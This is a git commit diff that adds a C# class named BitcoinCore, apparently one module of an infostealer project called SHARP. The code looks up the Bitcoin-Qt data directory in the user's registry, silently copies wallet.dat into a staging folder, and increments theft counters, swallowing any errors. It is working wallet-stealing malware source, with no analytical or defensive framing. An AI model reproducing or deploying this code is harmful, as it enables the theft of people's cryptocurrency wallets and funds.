initial commit
This commit is contained in:
@@ -0,0 +1,23 @@
|
||||
using Microsoft.Win32;
|
||||
using System.IO;
|
||||
|
||||
namespace SHARP
|
||||
{
|
||||
internal class BitcoinCore
|
||||
{
|
||||
public static void BCStr(string directorypath)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Bitcoin").OpenSubKey("Bitcoin-Qt");
|
||||
Directory.CreateDirectory(directorypath + "\\Wallets\\BitcoinCore\\");
|
||||
File.Copy(registryKey.GetValue("strDataDir").ToString() + "\\wallet.dat", directorypath + "\\BitcoinCore\\wallet.dat");
|
||||
++Counting.bitcoincore;
|
||||
++Counting.Wallets;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user